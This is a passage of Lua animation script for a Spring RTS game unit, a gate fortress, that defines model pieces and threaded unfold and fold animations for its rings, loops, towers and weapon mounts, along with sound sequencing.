1] = BigLCenter OuterLoop10 = piece("OuterLoop10") TableOfPieces[#TableOfPieces + 1] = OuterLoop10 OuterLoop11 = piece("OuterLoop11") TableOfPieces[#TableOfPieces + 1] = OuterLoop11 UpGo1 = piece("UpGo1") TableOfPieces[#TableOfPieces + 1] = UpGo1 UpGo2 = piece("UpGo2") TableOfPieces[#TableOfPieces + 1] = UpGo2 OuterLoop1 = piece("OuterLoop1") TableOfPieces[#TableOfPieces + 1] = OuterLoop1 OuterLoop56 = piece("OuterLoop56") TableOfPieces[#TableOfPieces + 1] = OuterLoop56 OuterLoop26 = piece("OuterLoop26") TableOfPieces[#TableOfPieces + 1] = OuterLoop26 OuterLoop28 = piece("OuterLoop28") TableOfPieces[#TableOfPieces + 1] = OuterLoop28 Gun2 = piece("Gun2") TableOfPieces[#TableOfPieces + 1] = Gun2 Mag3 = piece("Mag3") TableOfPieces[#TableOfPieces + 1] = Mag3 Mag4 = piece("Mag4") TableOfPieces[#TableOfPieces + 1] = Mag4 OuterLoop2 = piece("OuterLoop2") TableOfPieces[#TableOfPieces + 1] = OuterLoop2 OuterLoop3 = piece("OuterLoop3") TableOfPieces[#TableOfPieces + 1] = OuterLoop3 OuterLoop4 = piece("OuterLoop4") TableOfPieces[#TableOfPieces + 1] = OuterLoop4 OuterLoop5 = piece("OuterLoop5") TableOfPieces[#TableOfPieces + 1] = OuterLoop5 OuterLoop6 = piece("OuterLoop6") TableOfPieces[#TableOfPieces + 1] = OuterLoop6 OuterLoop7 = piece("OuterLoop7") TableOfPieces[#TableOfPieces + 1] = OuterLoop7 OuterLoop8 = piece("OuterLoop8") TableOfPieces[#TableOfPieces + 1] = OuterLoop8 OuterLoop9 = piece("OuterLoop9") TableOfPieces[#TableOfPieces + 1] = OuterLoop9 CatapultRoto1 = piece("CatapultRoto1") TableOfPieces[#TableOfPieces + 1] = CatapultRoto1 CataLow1 = piece("CataLow1") TableOfPieces[#TableOfPieces + 1] = CataLow1 CataUp1 = piece("CataUp1") TableOfPieces[#TableOfPieces + 1] = CataUp1 CataHead1 = piece("CataHead1") TableOfPieces[#TableOfPieces + 1] = CataHead1 CatapultRoto2 = piece("CatapultRoto2") TableOfPieces[#TableOfPieces + 1] = CatapultRoto2 CataLow2 = piece("CataLow2") TableOfPieces[#TableOfPieces + 1] = CataLow2 CataUp2 = piece("CataUp2") TableOfPieces[#TableOfPieces + 1] = CataUp2 CataHead2 = piece("CataHead2") TableOfPieces[#TableOfPieces + 1] = CataHead2 InLoopCenter = piece("InnerLoopC") TableOfPieces[#TableOfPieces + 1] = InLoopCenter flare02 = piece "flare02" TablesOfPiecesGroups = {} --=getPieceTableByNameGroups(false,true) UpTable = {} SeedTable = {} genSignal = 1 function SigGen() genSignal = 2 * genSignal return genSignal end for i = 1, 12, 1 do val = i + 12 name = "OuterLoop" .. (val) piecenumber = piece(name) UpTable[#UpTable + 1] = piecenumber end for i = 1, 10 do name = "Seed" .. (i) piecenumber = piece(name) SeedTable[i] = piecenumber end Feed = {} OuterLoopTable = {} Mag = {} Ring = {} InnerLoop = {} GunTable = {} DronePodTable = {} --Constants feed_speed = 53 GateDeg = -15 LengthFeed = 53 FeedTime = 1.1666666666666 InnerLoopRadius = 82 boolActivateTravelling = false function script.HitByWeapon(x, z, weaponDefID, damage) return damage end function gunFloater() Sleep(1000) while true do for i = 1, #GunTable do Move(GunTable[i], y_axis, math.random(0, 12), 1) end WaitForMoves(GunTable) Sleep(3000) end end function createProcess() Hide(flare02) TablesOfPiecesGroups = getPieceTableByNameGroups(false, true) Feed = TablesOfPiecesGroups["Feed"] hideT(SeedTable) OuterLoopTable = TablesOfPiecesGroups["OuterLoop"] Mag = TablesOfPiecesGroups["Mag"] Ring = TablesOfPiecesGroups["Ring"] InnerLoop = TablesOfPiecesGroups["InnerLoop"] GunTable = TablesOfPiecesGroups["Gun"] CataRoto = TablesOfPiecesGroups["CatapultRoto"] CataLow = TablesOfPiecesGroups["CataLow"] CataUp = TablesOfPiecesGroups["CataUp"] CataHead = TablesOfPiecesGroups["CataHead"] DronePodTable = TablesOfPiecesGroups["DronePod"] makeWeaponsTable() for i = 1, #Mag do Sign = i % 2 if Sign == 0 then Sign = -1 end Spin(Mag[i], z_axis, math.rad(42 * Sign), 0) end x, y, z = Spring.GetUnitPiecePosDir(unitID, RingB) hideT(TableOfPieces) StartThread(deployOnceComplete) StartThread(waitForTheWatcher) StartThread(turretReseter) StartThread(gunFloater) end function script.Create() StartThread(createProcess) end function deployOnceComplete() hp, mHp, _, _, _, buildProgress = Spring.GetUnitHealth(unitID) if buildProgress then GateDeploy(true) end waitTillComplete(unitID) unfoldAnimation() end function script.Killed(recentDamage, _) if boolFoldedBack== true then return 1 end for i=1,#TableOfPieces do Explode(TableOfPieces[i],SFX.FALL+SFX.NO_HEATCLOUD) Explode(TableOfPieces[i],SFX.SHATTER) end return 1 end DeTa = {} DeTa[DronePod1] = { x = 0, y = 0, z = 3.4 } DeTa[DronePod2] = { x = 0, y = 0, z = -3.4 } DeTa[DronePod3] = { x = 0, y = 0, z = 3.4 } DeTa[DronePod4] = { x = 4.3, y = 0, z = 0 } DeTa[DronePod5] = { x = -4.3, y = 0, z = 0 } DeTa[Erker1] = { x = 0, y = 0, z = -5.3 } DeTa[Erker2] = { x = -5.3, y = 0, z = 0 } DeTa[Erker3] = { x = -5.3, y = 0, z = 0 } DeTa[Erker4] = { x = 0, y = 0, z = -5.3 } DeTa[Erker5] = { x = -5.3, y = 0, z = 0 } DeTa[Erker6] = { x = 5.3, y = 0, z = 0 } DeTa[Erker7] = { x = 5.3, y = 0, z = 0 } DeTa[Erker8] = { x = -5.3, y = 0, z = 0 } DeTa[Erker9] = { x = -5.3, y = 0, z = 0 } DeTa[Erker10] = { x = 5.3, y = 0, z = 0 } DeTa[Erker11] = { x = 0, y = 0, z = 5.3 } un_foldDepotspeed = 4.25 function un_foldDepots(boolUnfold, speed) lastPieceName = "" if boolUnfold == true then un_foldDepots(false, 0) for piecename, tab in pairs(DeTa) do mP(piecename, 0, 0, 0, speed) lastPieceName = piecename Show(piecename) end WaitForMove(lastPieceName, x_axis) WaitForMove(lastPieceName, y_axis) WaitForMove(lastPieceName, z_axis) else for piecename, tab in pairs(DeTa) do mP(piecename, tab.x * -1, tab.y, tab.z, speed) lastPieceName = piecename end WaitForMove(lastPieceName, x_axis) WaitForMove(lastPieceName, y_axis) WaitForMove(lastPieceName, z_axis) for piecename, tab in pairs(DeTa) do Hide(piecename) end end end function AnimTest() while true do --unfoldAnimation() while true do Sleep(1000) echo("FirstTrainDeploy") StartThread(InnerCircleLoop, true) Sleep(10000) SignalTable["InnerCircleLoop"] = false Sleep(500) echo("FirstTrainDeploy") StartThread(InnerCircleLoop, false) Sleep(10000) SignalTable["InnerCircleLoop"] = false Sleep(500) end --foldAnimation() Sleep(1000) end end SignalTable = {} function stopSoundInOrder(tables) for k, v in pairs(tables) do if v.boolOnce == false then GG.soundInOrderTable["cgatefort" .. unitID].signal = false end end end soundInOrderTableUnfold = {} soundInOrderTableUnfold[1] = { boolOnce = true, postdelay = 0, predelay = 3000, sound = "sounds/cgatefortress/GateOpen.ogg" } soundInOrderTableUnfold[2] = { boolOnce = false, postdelay = 2500, sound = { [1] = "sounds/cgatefortress/GateLoop1.ogg", [2] = "sounds/cgatefortress/GateLoop.ogg", [3] = "sounds/cgatefortress/GateLoop2.ogg" } } soundInOrderTableUnfold[3] = { boolOnce = false, postdelay = 2500, sound = { [1] = "sounds/cgatefortress/GateOnly1.ogg", [2] = "sounds/cgatefortress/GateOnly2.ogg" } } if not GG.soundInOrderTable then GG.soundInOrderTable = {} end if not GG.soundInOrderTable["cgatefort" .. unitID] then GG.soundInOrderTable["cgatefort" .. unitID] = { signal = true } end SIG_SOUNDINORDER = SigGen() function playSoundChain(soundInOrderTableUnfold, name) SetSignalMask(SIG_SOUNDINORDER) playSoundInOrder(soundInOrderTableUnfold, name) end function unfoldAnimation() resetT(TableOfPieces) hideT(TableOfPieces) --randoVal=iRand(-360,360) --Turn(center,y_axis,math.rad(randoVal),0) Sleep(10) StartThread(playSoundChain, soundInOrderTableUnfold, "cgatefort" .. unitID) spawnCegAtPiece(unitID, GatePoint, "dirt", 10) GateDeploy(true) StartThread(GateLoop, true) FirstTrainDeploy(true) StartThread(TrainLoop, true) InnerCircleDeploy(true) StartThread(InnerCircleLoop, true) OuterCircleDeploy(true) StartThread(GoUp, true, 2 * math.pi * 0.1 * (1 / 1.1666)) StartThread(OuterCircleLoop, true) UpperCircleDeploy(true) StartThread(UpperCircleLoop, true, 4) Spring.PlaySoundFile("sounds/cgatefortress/gateFortOut.wav", 1.0) TowerDeploy(true) DeployInOrder(true) InnerCityDeploy(true) un_foldRailGun(true) un_foldDepots(true, un_foldDepotspeed) stopSoundInOrder(soundInOrderTableUnfold) Signal(SIG_SOUNDINORDER) boolDeployed = true for k, v in pairs(SignalTable) do SignalTable[k] = false end StartThread(timeDelayWeapon1) end bFold = false function foldAnimation() Sleep(10) un_foldDepots(bFold, un_foldDepotspeed) StartThread(TrainLoop, bFold) StartThread(InnerCircleLoop, bFold) StartThread(playSoundChain, soundInOrderTableUnfold, "cgatefort" .. unitID) StartThread(GateLoop, bFold) boolDeployed = false Spring.PlaySoundFile("sounds/cgatefortress/gateFortIn.wav", 1.0) un_foldRailGun(bFold) InnerCityDeploy(bFold) DeployInOrder(bFold) TowerDeploy(bFold) StartThread(OuterCircleLoop, bFold) StartThread(GoUp, bFold, 2 * math.pi * 0.1 * (1 / 1.1666)) UpperCircleDeploy(bFold) OuterCircleDeploy(bFold) SignalTable["OuterCircleLoop"] = false SignalTable["GoUp"] = false SignalTable["InnerCircleLoop"] = false InnerCircleDeploy(bFold) FirstTrainDeploy(bFold) Sleep(10) GateDeploy(bFold) boolOnTheMove = true hideT(TableOfPieces) resetT(TableOfPieces) hideT(TableOfPieces) Signal(SIG_SOUNDINORDER) stopSoundInOrder(soundInOrderTableUnfold) for k, v in pairs(SignalTable) do SignalTable[k] = false end end boolDeployed = false boolOnTheMove = false boolOneShot = true teamid = Spring.GetUnitTeam(unitID) function GateDeploy(boolUnfold) if boolUnfold == true then spawnCegAtPiece(unitID, GatePoint, "dirt", 15) Sleep(1000) spawnCegAtPiece(unitID, GatePoint, "dirt", 10) Turn(GatePoint, y_axis, math.rad(GateDeg), 9) --Preparation Move(center, y_axis, 2.5, 0) Move(Ring0, y_axis, -15, 0) Turn(Ring0, y_axis, math.rad(-90), 0) ShowKill(Ring0) Show(RingB) Turn(Ring0, y_axis, math.rad(0), 1.2) moveExpPiece(Ring0, y_axis, 15, -15, 5, 750, 15, false) Move(Ring0, y_axis, 0, 35) WaitForMove(Ring0, y_axis) spawnCegAtPiece(unitID, Ring0, "dirt", 0) Turn(Ring3, x_axis, math.rad(180 + 46), 0) Turn(Ring2, x_axis, math.rad(180 + 2 * 46), 0) Turn(Ring1, x_axis, math.rad(180 + 3 * 46), 0) WaitForTurn(Ring3, x_axis) WaitForTurn(Ring2, x_axis) WaitForTurn(Ring1, x_axis) Turn(Ring1, x_axis, math.rad(0), 10) Show(Ring1) WaitForTurn(Ring1, x_axis) Turn(Ring2, x_axis, math.rad(0), 10) Show(Ring2) WaitForTurn(Ring2, x_axis) Turn(Ring3, x_axis, math.rad(0), 10) Show(Ring3) WaitForTurn(Ring3, x_axis) spawnCegAtPiece(unitID, GatePortal, "cgateopen", 0) Show(GatePortal) Spin(GatePortal, x_axis, math.rad(42), 0) else Turn(GatePoint, y_axis, math.rad(GateDeg), 9) --Preparation Hide(GatePortal) Show(Ring3) WaitForTurn(Ring3, x_axis) Turn(Ring3, x_axis, math.rad(0), 10) WaitForTurn(Ring2, x_axis) Show(Ring2) Turn(Ring2, x_axis, math.rad(0), 10) WaitForTurn(Ring1, x_axis) Show(Ring1) Turn(Ring1, x_axis, math.rad(0), 10) WaitForTurns(Ring1, Ring2, Ring3) Turn(Ring3, x_axis, math.rad(180 + 46), 0) Turn(Ring2, x_axis, math.rad(180 + 2 * 46), 0) Turn(Ring1, x_axis, math.rad(180 + 3 * 46), 0) Move(Ring0, y_axis, 0, 35) WaitForMove(Ring0, y_axis) moveExpPiece(Ring0, y_axis, 15, -15, 5, 750, 15, false) Turn(Ring0, y_axis, math.rad(0), 1.2) Show(RingB) ShowKill(Ring0) spawnCegAtPiece(unitID, GatePortal, "cgateopen", offset) Hide(GatePortal) Turn(Ring0, y_axis, math.rad(-90), 0) Move(center, y_axis, 2.5, 0) Move(Ring0, y_axis, -15, 0) end end function GateLoop(boolUnfold) AlterRate = 0 SignalTable["GateLoop"] = true if boolUnfold == true then while SignalTable["GateLoop"] == true do AlterRate = AlterRate + 1 Spin(GateWave, x_axis, math.rad(42), 0) Spin(WaveA, x_axis, math.rad(42), 0) Show(GateWave) Show(WaveA) speed = math.random(1.5, 4) if raNil() then if AlterRate % 2 == 1 then Move(GateWave, x_axis, -5.5, speed) end if AlterRate % 2 == 0 then Move(WaveA, x_axis, -3.14, speed) end end WaitForMove(WaveA, x_axis) WaitForMove(GateWave, x_axis) Move(WaveA, x_axis, 0, speed) Move(GateWave, x_axis, 0, speed) WaitForMove(WaveA, x_axis) WaitForMove(GateWave, x_axis) Sleep(10) end else end --HoldPosition end function FirstTrainDeploy(boolUnfold) boolDirection = false if boolReverse then boolDirection = boolReverse end --if the animation should be aborted, we revert it if boolUnfold == true then WMove(Feed10, x_axis, 0, 0) count_up = 0 for i = 0, -LengthFeed, -4.8 do WMove(Feed10, x_axis, i, feed_speed) if Feed[count_up] then ShowKill(Feed[count_up]) end count_up = math.min(count_up + 1, 9) end Show(Feed10) hideT(Feed) else WMove(Feed10, x_axis, -LengthFeed, 0) count_dow = 10 showT(Feed) for i = -1 * LengthFeed, 0, 4.8 do WMove(Feed10, x_axis, i, feed_speed) if Feed[count_dow] then Hide(Feed[count_dow]) end count_dow = math.max(count_dow - 1, 1) end Show(Feed10) hideT(Feed) end end function TrainLoop(boolUnfold) SignalTable["TrainLoop"] = true while SignalTable["TrainLoop"] == true do if boolUnfold == true then WMove(Feed10, x_axis, 0, 0) count_up = 0 for i = 0, -LengthFeed, -4.8 do WMove(Feed10, x_axis, i, feed_speed) if Feed[count_up] then Show(Feed[count_up]) end count_up = math.min(count_up + 1, 9) end Show(Feed10) WMove(Feed10, x_axis, -LengthFeed, feed_speed) hideT(Feed) else -- fold WMove(Feed10, x_axis, -LengthFeed, 0) count_down = 10 showT(Feed) for i = -LengthFeed, 0, 4.8 do WMove(Feed10, x_axis, i, feed_speed) if Feed[count_down] then Hide(Feed[count_down]) end count_down = math.max(count_down - 1, 1) end end end end innerCircleIterator = 0 function InnerCircleDeploy(boolUnfold) --if the animation should be aborted, we revert it radialSpeed = 2 * math.pi * 0.1 * (1 / 1.1666) hideT(InnerLoop) if boolUnfold == true then WTurn(InLoopCenter, y_axis, math.rad(-36), 0) for inner = 1, 4, 1 do ShowKill(InnerLoop[inner]) WTurn(InLoopCenter, y_axis, math.rad(inner * -36), radialSpeed) if InnerLoop[inner - 3] then Hide(InnerLoop[inner - 3]) end if inner == 4 then return end end else showT(InnerLoop, 1, 5) WTurn(InLoopCenter, y_axis, math.rad(-36 * 4), 0) for inner = 4, 0, -1 do Turn(InLoopCenter, y_axis, math.rad(inner * -36), radialSpeed) WaitForTurn(InLoopCenter, y_axis) if InnerLoop[inner + 1] then Hide(InnerLoop[inner + 1]) end end end end SeedCenter = piece "SeedCenter" function SeedLoop(nrOfPumps, feed_speed, boolDirection, radialSpeed) for k = 1, nrOfPumps, 1 do offSet = {} offSet.x, offSet.y, offSet.z = 0, 0, 0 WMove(SeedTable[10], x_axis, 0, 0) if boolDirection == true then seed_count_up = 0 hideT(SeedTable) for seedIndex = 0, -LengthFeed, -4.8 do WMove(SeedTable[10], x_axis, seedIndex, feed_speed) if SeedTable[seed_count_up] then Show(SeedTable[seed_count_up]) end seed_count_up = math.min(seed_count_up + 1, 10) end hideT(SeedTable) else seed_count_up = 10 WMove(SeedTable[10], x_axis, LengthFeed * 2, 0) showT(SeedTable) for seedIndex = LengthFeed * 2, LengthFeed * 3, 4.8 do WMove(SeedTable[10], x_axis, seedIndex, feed_speed) if SeedTable[seed_count_up] then Hide(SeedTable[seed_count_up]) end seed_count_up = math.max(seed_count_up - 1, 1) end hideT(SeedTable) end end end function InnerCircleLoop(boolUnfold) SignalTable["InnerCircleLoop"] = true inner = 4 radialSpeed = 2 * math.pi * 0.10 * (1 / 1.1666) if boolUnfold == true then hideT(InnerLoop) showT(InnerLoop, 1, 4) else hideT(InnerLoop) showT(InnerLoop, 1, 4) end WTurn(InLoopCenter, y_axis, math.rad(inner * -36), 0) while SignalTable["InnerCircleLoop"] == true do if boolUnfold == true then Show(InnerLoop[inner]) Turn(InLoopCenter, y_axis, math.rad(inner * -36), radialSpeed) WaitForTurn(InLoopCenter, y_axis) offSet = ((inner + 6) % 10) + 1 if InnerLoop[offSet] then Hide(InnerLoop[offSet]) end inner = inner % 10 + 1 else -- fold showIndex = inner - 2 if showIndex < 1 then showIndex = 10 + showIndex end Show(InnerLoop[showIndex]) WTurn(InLoopCenter, y_axis, math.rad(inner * -36), radialSpeed) offSetIndex = showIndex - 7 if offSetIndex < 1 then offSetIndex = 10 + offSetIndex end if InnerLoop[offSetIndex] then Hide(InnerLoop[offSetIndex]) end inner = (inner - 1) % 10 if inner == 0 then inner = 10 end end end Hide(InnerLoop[inner]) end function OuterCircleDeploy(boolUnfold) out_radialSpeed = 2 * math.pi * 0.08333333333333333333 * (1 / 1.1666) hideT(OuterLoopTable) if boolUnfold == true then WTurn(BigLCenter, y_axis, math.rad(-5), 0) for out = 1, 12, 1 do temp = ((out + 1) % 12) + 1 ShowKill(OuterLoopTable[temp]) Turn(BigLCenter, y_axis, math.rad(out * -30 + 25), out_radialSpeed) WaitForTurn(BigLCenter, y_axis) if OuterLoopTable[out - 7] then Hide(OuterLoopTable[out - 7]) return end end else WTurn(BigLCenter, y_axis, math.rad(-5), 0) for out = 1, 12, 1 do temp = ((out + 1) % 12) + 1 ShowKill(OuterLoopTable[temp]) Turn(BigLCenter, y_axis, math.rad(out * 30 + 25), out_radialSpeed) WaitForTurn(BigLCenter, y_axis) if OuterLoopTable[out - 7] then Hide(OuterLoopTable[out - 7]) return end end end end UpGoTurn1 = piece "UpGoTurn1" UpGoTurn2 = piece "UpGoTurn2" function ShowKill(piecename) killAtPiece(unitID, piecename) Show(piecename) end function OuterCircleLoop(boolUnfold) SignalTable["OuterCircleLoop"] = true Show(UpGo1) Show(UpGo2) out_radialSpeed = 2 * math.pi * 0.08333333333333333333 * (1 / 1.1666) out = 8 if boolUnfold == false then out = 4 end Show(OuterLoopTable[6]) Show(OuterLoopTable[7]) Show(OuterLoopTable[8]) Show(OuterLoopTable[9]) Show(OuterLoopTable[10]) Turn(BigLCenter, y_axis, math.rad(-215), 0, true) WaitForTurn(BigLCenter, y_axis) while SignalTable["OuterCircleLoop"] == true do if boolUnfold == true then temp = ((out + 1) % 12) + 1 Show(OuterLoopTable[temp]) Turn(BigLCenter, y_axis, math.rad(out * -30 + 25), radialSpeed) WaitForTurn(BigLCenter, y_axis) offSet = ((out + 5) % 12) + 1 if SignalTable["OuterCircleLoop"] == false then return end Hide(OuterLoopTable[offSet]) out = out % 12 + 1 else showIndex = (out - 1) if showIndex <= 0 then showIndex = 12 end Show(OuterLoopTable[showIndex]) Turn(BigLCenter, y_axis, math.rad(out * 30 + 25), radialSpeed) WaitForTurn(BigLCenter, y_axis) hideoffSet = math.min(math.max(math.abs(out - 7), 1), 12) if SignalTable["OuterCircleLoop"] == false then return end Hide(OuterLoopTable[hideoffSet]) out = (out - 1) if out < 1 then out = 12 end end end end function GoUp(boolReverse, radialSpeed) boolDirection = false; if boolReverse then boolDirection = boolReverse end SignalTable["GoUp"] = true offset = 30 if boolDirection == true then while SignalTable["GoUp"] == true do Hide(UpGo1) Hide(UpGo2) Turn(UpGoTurn2, y_axis, math.rad(0 + offset), 0) Turn(UpGoTurn1, y_axis, math.rad(30 + offset), 0) Turn(UpGo2, x_axis, math.rad(0), 0) Turn(UpGo1, x_axis, math.rad(-20), 0) WaitForTurn(UpGoTurn1, y_axis) WaitForTurn(UpGoTurn2, y_axis) WaitForTurn(UpGo2, x_axis) WaitForTurn(UpGo1, x_axis) Show(UpGo1) Show(UpGo2) Turn(UpGo2, x_axis, math.rad(-20), 0.35) Turn(UpGo1, x_axis, math.rad(0), 0.35) Turn(UpGoTurn2, y_axis, math.rad(0), radialSpeed) Turn(UpGoTurn1, y_axis, math.rad(30), radialSpeed) WaitForTurn(UpGoTurn1, y_axis) WaitForTurn(UpGoTurn2, y_axis) end else while SignalTable["GoUp"] == true do Hide(UpGo1) Hide(UpGo2) Turn(UpGo2, x_axis, math.rad(-20), 0) Turn(UpGo1, x_axis, math.rad(0), 0) Turn(UpGoTurn2, y_axis, math.rad(0), 0) Turn(UpGoTurn1, y_axis, math.rad(30), 0) WaitForTurn(UpGoTurn1, y_axis) WaitForTurn(UpGoTurn2, y_axis) Show(UpGo1) Show(UpGo2) Turn(UpGo2, x_axis, math.rad(0), 0.35) Turn(UpGo1, x_axis, math.rad(-20), 0.35) Turn(UpGoTurn2, y_axis, math.rad(0 + offset), radialSpeed) Turn(UpGoTurn1, y_axis, math.rad(30 + offset), radialSpeed) WaitForTurn(UpGoTurn1, y_axis) WaitForTurn(UpGoTurn2, y_axis) WaitForTurn(UpGo2, x_axis) WaitForTurn(UpGo1, x_axis) end end end function UpperCircleDeploy(boolUnfold) --12 out_radialSpeed = 2 * math.pi * 0.08333333333333333333 * (1 / 1.1666) if boolUnfold == true then Turn(BigLUpCenter, y_axis, math.rad(60), 0) WaitForTurn(BigLUpCenter, y_axis) for upcircdepindex = 0, 12, 1 do temp = ((upcircdepindex) % 12) + 1 if UpTable[upcircdepindex] then Show(UpTable[upcircdepindex]) end Turn(BigLUpCenter, y_axis, math.rad(upcircdepindex * -30 + 30), out_radialSpeed) WaitForTurn(BigLUpCenter, y_axis) if UpTable[upcircdepindex - 9] then Hide(UpTable[upcircdepindex - 9]) end end else WTurn(BigLUpCenter, y_axis, math.rad(11 * -30), out_radialSpeed) for upcircdepindex = 12, 1, -1 do temp = ((upcircdepindex) % 12) - 1 if temp < 1 then temp = 12 end if UpTable[upcircdepindex] then Hide(UpTable[upcircdepindex]) end Turn(BigLUpCenter, y_axis, math.rad(upcircdepindex * -30 + 30), out_radialSpeed) WaitForTurn(BigLUpCenter, y_axis) end end end UpGoTurn1 = piece "UpGoTurn1" UpGoTurn2 = piece "UpGoTurn2" function UpperCircleLoop(boolUnfold, totalLength) boolDirection = false; if boolReverse then boolDirection = boolReverse end SignalTable["UpperCircleLoop"] = true upperCircOutIndex = 10 Counter = 0 Turn(BigLUpCenter, y_axis, math.rad(-270), 0, true) WaitForTurn(BigLUpCenter, y_axis) if boolUnfold == false then Turn(BigLUpCenter, y_axis, math.rad(0), 0) resetT(UpTable) showT(UpTable) Show(OuterLoop14) WMove(Wall, y_axis, -7, math.pi) Hide(Wall) end while SignalTable["UpperCircleLoop"] == true do if boolUnfold == true then temp = ((upperCircOutIndex) % 12) + 1 Turn(BigLUpCenter, y_axis, math.rad(upperCircOutIndex * -30), radialSpeed) WaitForTurn(BigLUpCenter, y_axis) if UpTable[temp] then Show(UpTable[temp]) end upperloopoffSet = upperCircOutIndex - 6 if upperloopoffSet < 1 then upperloopoffSet = upperloopoffSet + 12 end if UpTable[upperloopoffSet] then Hide(UpTable[upperloopoffSet]) end upperCircOutIndex = upperCircOutIndex % 12 + 1 else Turn(BigLUpCenter, y_axis, math.rad(upperCircOutIndex * 30), radialSpeed) WaitForTurn(BigLUpCenter, y_axis) if UpTable[temp] then Show(UpTable[temp]) end upperloopoffSet = upperCircOutIndex - 6 if upperloopoffSet < 1 then upperloopoffSet = upperloopoffSet + 12 end if UpTable[upperloopoffSet] then Hide(UpTable[upperloopoffSet]) end upperCircOutIndex = upperCircOutIndex % 12 + 1 end if boolUnfold == true then Counter = Counter + 1 if Counter == totalLength then Turn(BigLUpCenter, y_axis, math.rad(0), 0) resetT(UpTable) showT(UpTable) Hide(OuterLoop14) Move(Wall, y_axis, -7, 0); Show(Wall); Move(Wall, y_axis, 0, 3.1415) end end end --clean up if boolUnfold == true then Turn(BigLUpCenter, y_axis, math.rad(0), 0) resetT(UpTable) showT(UpTable) Hide(OuterLoop14) Move(Wall, y_axis, -7, 0); Show(Wall); Move(Wall, y_axis, 0, 3.1415) else Turn(BigLUpCenter, y_axis, math.rad(0), 0) resetT(UpTable) hideT(UpTable) Hide(OuterLoop14) WMove(Wall, y_axis, -7, 3.1415); Hide(Wall); end end SecondTowerCenter = OuterLoop30 TowerCenter = NGon085 STowerTable = {} TowerTable = {} TowerTable[1] = { NGon090, NGon089, NGon086, Gun3, Mag5, Mag6 } TowerTable[2] = { NGon085, NGon086, NGon087 } STowerTable[1] = { OuterLoop31 } STowerTable[2] = { OuterLoop30 } function TowerDeploy(boolUnfold) if boolUnfold == true then -- up DeployInOrderTower(true) SignalTable["UpperCircleLoop"] = false SignalTable["GoUp"] = false SignalTable["OuterCircleLoop"] = false else DeployInOrderTower(false) SignalTable["UpperCircleLoop"] = false SignalTable["GoUp"] = false SignalTable["OuterCircleLoop"] = false end end Seed10 = piece "Seed10" towerDeployTable = { [1] = { pieceA = NGon085, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = { NGon086, NGon087 }, SeedDir = { x = 0, y = 180, z = -90 } }, [2] = { pieceA = NGon090, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = { NGon088, NGon089, Gun3, Mag5, Mag6 }, SeedDir = { x = 0, y = 180, z = -90 } }, [3] = { pieceA = OuterLoop30, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [4] = { pieceA = OuterLoop31, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } } } piecesDeployTable = { [1] = { pieceA = OuterLoop25, offA = { x = 0, y = 0, z = LengthFeed + 17.5 }, pieceList = {}, SeedDir = { x = 90, y = -90, z = 0 } }, [2] = { pieceA = OuterLoop29, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = { Gun4, Mag8, Mag7 }, SeedDir = { x = 0, y = 180, z = -90 } }, [3] = { pieceA = OuterLoop26, offA = { x = -LengthFeed - 17.5, y = 0, z = 0 }, pieceList = {}, SeedDir = { x = 90, y = 180, z = 0 } }, [4] = { pieceA = OuterLoop28, offA = { x = -2, y = -LengthFeed - 20, z = 0 }, pieceList = { Gun2, Mag4, Mag3 }, SeedDir = { x = 0, y = 180, z = -90 } }, [5] = { pieceA = OuterLoop56, offA = { x = 0, y = -23, z = -1 * (LengthFeed + 17.5) }, pieceList = {}, SeedDir = { x = -180, y = 90, z = 0 } }, [6] = { pieceA = OuterLoop27, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = { Gun1, Mag1, Mag2 }, SeedDir = { x = 0, y = 270, z = -90 } }, [7] = { pieceA = OuterLoop33, offA = { x = -LengthFeed - 20.5, y = 0, z = 0 }, pieceList = { InnerOrigin }, SeedDir = { x = 180, y = 180, z = 0 } }, [8] = { pieceA = OuterLoop32, offA = { x = -LengthFeed - 20.5, y = 0, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = 0 } }, [9] = { pieceA = OuterLoop42, offA = { x = -LengthFeed - 20.5, y = 0, z = 0 }, pieceList = {}, SeedDir = { x = 180, y = 180, z = 0 } }, [10] = { pieceA = OuterLoop35, offA = { x = -7, y = 10, z = LengthFeed / 2 + 5 }, pieceList = {}, SeedDir = { x = 90, y = -90, z = 0 } }, [11] = { pieceA = OuterLoop34, offA = { x = -7, y = 10, z = -LengthFeed - 5 }, pieceList = {}, SeedDir = { x = 90, y = 90, z = 0 } }, [12] = { pieceA = OuterLoop40, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [13] = { pieceA = OuterLoop41, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [14] = { pieceA = OuterLoop43, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [15] = { pieceA = OuterLoop44, offA = { x = 0, y = -52, z = -52 }, pieceList = {}, SeedDir = { x = 0, y = 90, z = -45 } }, [16] = { pieceA = OuterLoop47, offA = { x = 0, y = -52, z = -52 }, pieceList = {}, SeedDir = { x = 0, y = 90, z = -45 } }, [17] = { pieceA = OuterLoop55, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [18] = { pieceA = OuterLoop54, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [19] = { pieceA = OuterLoop50, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [20] = { pieceA = OuterLoop51, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [21] = { pieceA = OuterLoop45, offA = { x = 0, y = -52, z = -52 }, pieceList = {}, SeedDir = { x = 0, y = 90, z = -45 } }, [22] = { pieceA = OuterLoop46, offA = { x = 0, y = -52, z = -52 }, pieceList = {}, SeedDir = { x = 0, y = 90, z = -45 } }, [23] = { pieceA = OuterLoop48, offA = { x = 0, y 